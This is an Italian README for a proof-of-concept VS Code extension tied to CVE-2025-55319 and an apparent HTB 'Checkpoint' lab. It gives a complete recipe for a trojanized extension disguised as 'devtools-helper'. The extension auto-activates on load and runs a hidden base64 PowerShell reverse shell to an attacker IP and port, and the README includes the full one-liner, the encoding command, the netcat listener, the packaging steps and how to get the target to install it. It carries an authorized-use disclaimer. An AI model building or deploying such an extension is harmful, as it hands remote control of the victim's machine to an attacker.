
PoC per CVE-2025-55319
Riferimento: CVE-2025-55319
Estensione proof-of-concept per VS Code (.vsix) per la challenge HTB "Checkpoint". Una volta installata, l'estensione si attiva automaticamente e genera una reverse shell PowerShell nascosta verso l'attaccante.
⚠️ Solo uso autorizzato. Questo è un artefatto CTF/lab. Distribuiscilo solo su macchine di tua proprietà o per le quali hai esplicitamente l'autorizzazione al test (es. una macchina target HTB).
extension/package.json — manifest dell'estensione. "activationEvents": ["*"] fa sì che venga eseguito non appena VS Code si carica, senza interazione dell'utente.extension/extension.js — su activate(), esegue un payload PowerShell con codifica base64 con -WindowStyle Hidden -NoProfile per una reverse shell silenziosa.[Content_Types].xml — manifest dei tipi di contenuto OpenXML in modo che la cartella possa essere zippata in un pacchetto .vsix valido..
├── [Content_Types].xml # VSIX content-type manifest
└── extension/
├── package.json # extension manifest (activates on "*")
└── extension.js # reverse-shell payload
Genera una reverse shell PowerShell in base64 (UTF-16LE) puntando alla tua macchina attaccante:
LHOST=10.10.15.158
LPORT=4443
PS="\$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}"
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0
Incolla l'output sopra YOUR_BASE64_PAYLOAD_HERE in extension/extension.js:
const payload = '<base64-blob-here>'
nc -lvnp 4443
Un .vsix è semplicemente un ZIP con la cartella extension/ più il manifest nella root:
# from this directory
zip -r devtools-helper.vsix extension "[Content_Types].xml"
Fai installare l'estensione al target. Puoi:
code --install-extension devtools-helper.vsix··· → Installa da VSIX…Al successivo avvio di VS Code (o subito dopo l'installazione), l'evento di attivazione * scatta, il payload viene eseguito e il tuo listener riceve la shell.
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.15.158] from ...
PS>
Rimuovi l'estensione dal target al termine:
code --uninstall-extension devtools.devtools-helper
extension.js per altre piattaforme.os è importato in extension.js ma non utilizzato — utile se vuoi creare rami basati su os.platform() per supportare target Linux/macOS.package.json tra una build e l'altra se reimpacchetti.